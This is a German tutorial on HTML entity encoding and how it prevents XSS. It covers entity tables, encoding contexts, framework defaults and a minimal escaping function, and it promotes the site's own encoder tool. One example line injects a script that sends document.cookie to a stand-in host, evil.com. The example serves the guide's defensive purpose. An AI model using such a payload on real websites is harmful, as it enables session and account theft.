HTML-Entities-Kodierung: SchĂŒtzen Sie Ihre Webseiten
Wenn Sie schon einmal versucht haben, ein <div>-Tag als Text auf einer Webseite anzuzeigen und es stattdessen im DOM verschwinden sahen, kennen Sie das Problem bereits. Browser interpretieren bestimmte Zeichen als Markup-Anweisungen, nicht als Inhalt. HTML-Entities sind die Methode, dem Browser mitzuteilen: âZeige dieses Zeichen wörtlich an, interpretiere es nicht."
Dieser Leitfaden behandelt die Entities, die Sie tatsĂ€chlich verwenden werden, wann Kodierung wichtig ist und wie Sie die SicherheitslĂŒcken vermeiden, die durch deren Auslassung entstehen.
Warum HTML-Entities Existieren
HTML verwendet einige wenige Zeichen als strukturelle Trennzeichen. Die drei wichtigsten:
<öffnet ein Tag>schlieĂt ein Tag&beginnt eine Entity-Referenz
Wenn der Parser des Browsers auf <script> trifft, zeigt er keinen Text an â er fĂŒhrt JavaScript aus. Bei © rendert er ©. Diese Doppelnatur bedeutet: Wenn Sie diese Zeichen als sichtbaren Text anzeigen möchten, mĂŒssen Sie sie mit HTML-Entities escapen.
Eine HTML-Entity ist eine Zeichenkette, die mit & beginnt und mit ; endet. Dazwischen steht eine benannte Referenz (wie amp) oder ein numerischer Codepunkt (wie #38).
Referenz hÀufiger HTML-Entities
Hier sind die Entities, die Sie am hÀufigsten verwenden werden:
| Zeichen | Benannte Entity | Numerische Entity | Beschreibung |
|---|---|---|---|
& | & | & | KaufmÀnnisches Und |
< | < | < | Kleiner als |
> | > | > | GröĂer als |
" | " | " | AnfĂŒhrungszeichen |
' | ' | ' | Apostroph |
| (Leerzeichen) | |   | GeschĂŒtztes Leerzeichen |
| © | © | © | Urheberrecht |
| â | — | — | Geviertstrich |
| ⊠| … | … | Auslassungszeichen |
| ⏠| € | € | Euro-Zeichen |
| âą | ™ | ™ | Markenzeichen |
Die ersten fĂŒnf sind Pflicht. Wenn Sie nutzergenerierte Inhalte rendern oder Code anzeigen, werden Sie &, <, >, " und ' stĂ€ndig verwenden.
GeschĂŒtztes Leerzeichen: Das UnauffĂ€llige
verhindert einen Zeilenumbruch zwischen zwei Wörtern. Es ist nicht einfach âein zusĂ€tzliches Leerzeichen" â Browser kollabieren mehrere normale Leerzeichen zu einem, aber wird immer gerendert. Verwenden Sie es fĂŒr:
- Einheiten bei Zahlen zusammenhalten:
100 km - Verwaiste Wörter am Absatzende verhindern
- Preise formatieren:
99,99 âŹ
Verwenden Sie nicht fĂŒr Layout-AbstĂ€nde. DafĂŒr gibt es CSS margin und padding.
Benannte vs Numerische vs Hexadezimale Entities
Es gibt drei Schreibweisen fĂŒr dieselbe Entity:
<!-- Benannte Entity -->
&
<!-- Dezimale numerische Entity -->
&
<!-- Hexadezimale numerische Entity -->
&
Alle drei erzeugen das KaufmÀnnische-Und-Zeichen &. Wann welche verwenden:
Benannte Entities (&, <, ©) sind lesbar und selbstdokumentierend. Wenn jemand den HTML-Quellcode liest, vermittelt & sofort die Absicht. Verwenden Sie diese fĂŒr gĂ€ngige Zeichen.
Dezimale numerische Entities (&, ©) funktionieren fĂŒr jeden Unicode-Codepunkt, auch fĂŒr Zeichen ohne benannte Referenz. Verwenden Sie diese, wenn Sie Zeichen ohne benannte Entities benötigen oder HTML programmatisch erzeugen.
Hexadezimale Entities (&, ©) sind identisch mit dezimalen, verwenden aber Hexadezimalnotation. NĂŒtzlich bei der Arbeit mit Unicode-Tabellen (die Codepunkte in Hex auflisten) oder wenn Ihre Tools Hex-Werte ausgeben.
In der Praxis: Verwenden Sie benannte Entities fĂŒr gĂ€ngige Zeichen und numerische fĂŒr alles andere. Benannte Entities werden von allen Browsern unterstĂŒtzt und sind im Quellcode deutlich lesbarer.
Wann HTML-Zeichen Kodiert Werden MĂŒssen
Code-Schnipsel Anzeigen
Wenn Ihre Seite Code-Beispiele zeigt, muss jedes < und > kodiert werden:
<!-- Das geht kaputt -->
<p>Verwenden Sie das <div>-Tag fĂŒr Container.</p>
<!-- Das funktioniert -->
<p>Verwenden Sie das <div>-Tag fĂŒr Container.</p>
Die meisten Template-Engines und Frameworks erledigen das automatisch bei Verwendung ihrer Standard-Ausgabesyntax. Aber wenn Sie rohes HTML schreiben oder Inhalte mit innerHTML einfĂŒgen, sind Sie auf sich allein gestellt.
Nutzergenerierte Inhalte
Alle Inhalte von Nutzern â Formulareingaben, Kommentare, Profilfelder, Suchanfragen â mĂŒssen vor dem Rendern kodiert werden. Das ist eine Sicherheitsanforderung, keine Option.
HTML-E-Mails
E-Mail-Clients sind berĂŒchtigt fĂŒr inkonsistentes Zeichen-Rendering. Die Kodierung von Sonderzeichen als Entities stellt die korrekte Anzeige in Gmail, Outlook, Apple Mail und allen anderen Clients sicher.
Content-Management-Systeme
Wenn Sie ein CMS aufbauen oder nutzen, sollte die Content-Pipeline HTML-Entities in der Ausgabephase kodieren. Der in der Datenbank gespeicherte Inhalt kann roh sein, aber was im Browser ankommt, muss escaped sein.
XSS-PrÀvention: Warum Kodierung ein Sicherheitsthema Ist
Die fehlende Kodierung von Benutzereingaben vor dem Rendern in HTML ist die hĂ€ufigste Ursache fĂŒr Cross-Site-Scripting-Schwachstellen (XSS). Das ist kein theoretisches Risiko â XSS ist durchgĂ€ngig in den OWASP Top 10 und wird aktiv ausgenutzt.
Wie XSS Funktioniert
Betrachten Sie eine Suchseite, die anzeigt, was der Nutzer gesucht hat:
<!-- Der Server rendert dies -->
<p>Sie suchten nach: BENUTZEREINGABE</p>
Wenn ein Nutzer normalen Text wie javascript tutorials eingibt, kein Problem. Aber was, wenn er eingibt:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Ohne Kodierung sieht der Browser ein echtes <script>-Tag und fĂŒhrt es aus. Der Angreifer hat jetzt die Cookies des Opfers, Session-Tokens und möglicherweise vollen Kontozugriff.
Die Lösung
Kodieren Sie die fĂŒnf kritischen Zeichen, bevor Sie nicht vertrauenswĂŒrdige Daten in HTML einfĂŒgen:
| Zeichen | Entity | Warum Wichtig |
|---|---|---|
& | & | Verhindert Entity-Injection |
< | < | Verhindert Tag-Injection |
> | > | SchlieĂt injizierte Tags |
" | " | Verhindert Attribut-Ausbruch |
' | ' | Verhindert Attribut-Ausbruch (einfache AnfĂŒhrungszeichen) |
Eine minimale Kodierungsfunktion:
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Beachten Sie die Reihenfolge: & muss zuerst ersetzt werden. Wenn Sie zuerst < ersetzen (ergibt <) und dann & (macht < zu &lt;), erhalten Sie Doppelkodierung.
Kodierung allein deckt nicht alle XSS-Kontexte ab. Wenn Sie Benutzerdaten in JavaScript, CSS oder URL-Attribute einfĂŒgen, benötigen Sie kontextspezifische Kodierung. HTML-Entity-Kodierung schĂŒtzt nur HTML-Body- und Attribut-Kontexte.
Schutz auf Framework-Ebene
Moderne Frameworks handhaben die Kodierung standardmĂ€Ăig:
- React: JSX escaped Werte in
{}-AusdrĂŒcken automatisch.dangerouslySetInnerHTMLumgeht dies â vermeiden Sie es bei Nutzerinhalten. - Angular: Template-Bindings werden automatisch bereinigt.
[innerHTML]umgeht die Bereinigung. - Vue: Die Mustache-Syntax
{{ }}escaped automatisch.v-htmlnicht. - Serverseitige Templates (EJS, Jinja2, Twig): Die meisten escapen standardmĂ€Ăig, aber prĂŒfen Sie Ihre Konfiguration.
Das Muster ist einheitlich: Der Standardweg ist sicher, und es gibt immer eine HintertĂŒr fĂŒr rohes HTML. Leiten Sie Benutzereingaben niemals durch die HintertĂŒr.
HTML mit Unserem Tool Kodieren
MĂŒssen Sie HTML-Entities schnell kodieren oder dekodieren? Unser HTML-Encoder erledigt das sofort:
- Text einfĂŒgen und kodierten Output mit einem Klick erhalten
- UnterstĂŒtzt alle benannten und numerischen Entities
- Dekodiert Entities zurĂŒck in lesbaren Text
- Alles wird clientseitig verarbeitet â Ihre Daten verlassen nie Ihren Browser
Besonders nĂŒtzlich fĂŒr die Vorbereitung von Inhalten fĂŒr HTML-E-Mails, die Kodierung von Code-Schnipseln fĂŒr Dokumentation oder die Bereinigung von Text vor dem Einbetten in Templates.
HĂ€ufige Fehler Vermeiden
Doppelkodierung: Text zweimal durch einen Encoder zu schicken macht aus & ein &amp;. Wenn auf Ihrer Seite & als wörtlicher Text erscheint, wurde irgendwo in der Pipeline doppelt kodiert.
Kodierung innerhalb von <script>-Tags: HTML-Entity-Kodierung funktioniert nicht in Script-Blöcken. Der JavaScript-Parser versteht < nicht â er sieht es als die wörtliche Zeichenkette <. FĂŒr Inline-Scripts verwenden Sie JavaScript-String-Escaping.
fĂŒr AbstĂ€nde verwenden: Das verursacht Barrierefreiheitsprobleme. Screenreader können jedes geschĂŒtzte Leerzeichen einzeln aussprechen. Verwenden Sie CSS fĂŒr visuellen Abstand.
Attributwerte vergessen: Kodierung betrifft nicht nur Textinhalt. Attributwerte brauchen ebenfalls Kodierung, besonders wenn sie Benutzereingaben enthalten:
<!-- GefÀhrlich -->
<input value="BENUTZEREINGABE">
<!-- Sicher -->
<input value=""kodierter" Wert">
Kurzreferenz: Kodierungs-Entscheidungsbaum
- Ist der Inhalt nutzergeneriert? â Immer kodieren
- Zeigen Sie Code an? â
<,>und&kodieren - Geht es in ein HTML-Attribut? â Auch
"und'kodieren - Geht es in eine URL? â URL-Kodierung verwenden (siehe unseren URL-Kodierungs-Leitfaden)
- Geht es in JavaScript? â JavaScript-Escaping verwenden, nicht HTML-Entities
Verwandte Ressourcen
- Base64-Kodierung ErklĂ€rt â ein weiteres wesentliches Kodierungsformat fĂŒr die Webentwicklung verstehen
- URL-Kodierungs-Leitfaden â wann und wie Zeichen in URLs prozentkodiert werden
- HTML-Encoder-Tool â HTML-Entities sofort im Browser kodieren und dekodieren
đ ïž Testen Sie unseren HTML-Encoder, um HTML-Entities direkt im Browser zu kodieren und dekodieren â keine Daten werden an irgendeinen Server gesendet.